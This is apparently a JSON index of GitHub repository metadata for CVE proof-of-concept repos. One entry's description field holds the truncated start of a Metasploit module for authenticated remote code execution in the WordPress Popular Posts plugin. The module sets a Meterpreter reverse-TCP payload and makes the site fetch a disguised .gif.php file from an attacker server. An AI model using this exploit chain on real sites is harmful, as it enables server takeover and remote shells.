2024-11-28 19:31:51 +01:00
|
|
|
[
|
2024-12-28 01:31:27 +01:00
|
|
|
{
|
|
|
|
|
"id": 291464552,
|
|
|
|
|
"name": "CVE-2020-16152",
|
|
|
|
|
"full_name": "eriknl\/CVE-2020-16152",
|
|
|
|
|
"owner": {
|
|
|
|
|
"login": "eriknl",
|
|
|
|
|
"id": 7977955,
|
|
|
|
|
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/7977955?v=4",
|
|
|
|
|
"html_url": "https:\/\/github.com\/eriknl",
|
|
|
|
|
"user_view_type": "public"
|
|
|
|
|
},
|
|
|
|
|
"html_url": "https:\/\/github.com\/eriknl\/CVE-2020-16152",
|
|
|
|
|
"description": "Explanation and PoC for CVE-2020-16152",
|
|
|
|
|
"fork": false,
|
|
|
|
|
"created_at": "2020-08-30T12:18:12Z",
|
|
|
|
|
"updated_at": "2024-08-12T20:05:16Z",
|
|
|
|
|
"pushed_at": "2020-09-01T05:22:23Z",
|
|
|
|
|
"stargazers_count": 12,
|
|
|
|
|
"watchers_count": 12,
|
|
|
|
|
"has_discussions": false,
|
|
|
|
|
"forks_count": 6,
|
|
|
|
|
"allow_forking": true,
|
|
|
|
|
"is_template": false,
|
|
|
|
|
"web_commit_signoff_required": false,
|
|
|
|
|
"topics": [],
|
|
|
|
|
"visibility": "public",
|
|
|
|
|
"forks": 6,
|
|
|
|
|
"watchers": 12,
|
|
|
|
|
"score": 0,
|
|
|
|
|
"subscribers_count": 3
|
|
|
|
|
},
|
2024-11-28 19:31:51 +01:00
|
|
|
{
|
|
|
|
|
"id": 443713687,
|
|
|
|
|
"name": "nate158g-m-w-n-l-p-d-a-o-e",
|
|
|
|
|
"full_name": "Nate0634034090\/nate158g-m-w-n-l-p-d-a-o-e",
|
|
|
|
|
"owner": {
|
|
|
|
|
"login": "Nate0634034090",
|
|
|
|
|
"id": 95479220,
|
|
|
|
|
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/95479220?v=4",
|
|
|
|
|
"html_url": "https:\/\/github.com\/Nate0634034090",
|
|
|
|
|
"user_view_type": "public"
|
|
|
|
|
},
|
|
|
|
|
"html_url": "https:\/\/github.com\/Nate0634034090\/nate158g-m-w-n-l-p-d-a-o-e",
|
|
|
|
|
"description": "### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192\/172\/127\/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https:\/\/blog.nintechnet.com\/improper-input-validation-fixed-in-wordpress-popular-posts-plugin\/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https:\/\/plugins.trac.wordpress.org\/changeset\/2542638' ], [ 'URL', 'https:\/\/github.com\/cabrerahector\/wordpress-popular-posts\/commit\/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php\/meterpreter\/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '\/']), # https:\/\/github.com\/WordPress\/wordpress-develop\/blob\/5.8\/src\/wp-includes\/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192\/10\/127\/172)', '']), # https:\/\/github.com\/WordPress\/wordpress-develop\/blob\/5.8\/src\/wp-includes\/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_
|
|
|
|
|
"fork": false,
|
|
|
|
|
"created_at": "2022-01-02T08:08:00Z",
|
|
|
|
|
"updated_at": "2024-11-24T15:36:54Z",
|
|
|
|
|
"pushed_at": "2022-01-02T08:08:01Z",
|
|
|
|
|
"stargazers_count": 8,
|
|
|
|
|
"watchers_count": 8,
|
|
|
|
|
"has_discussions": false,
|
|
|
|
|
"forks_count": 2,
|
|
|
|
|
"allow_forking": true,
|
|
|
|
|
"is_template": false,
|
|
|
|
|
"web_commit_signoff_required": false,
|
|
|
|
|
"topics": [],
|
|
|
|
|
"visibility": "public",
|
|
|
|
|
"forks": 2,
|
|
|
|
|
"watchers": 8,
|
|
|
|
|
"score": 0,
|
|
|
|
|
"subscribers_count": 0
|
|
|
|
|
}
|
|
|
|
|
]
|
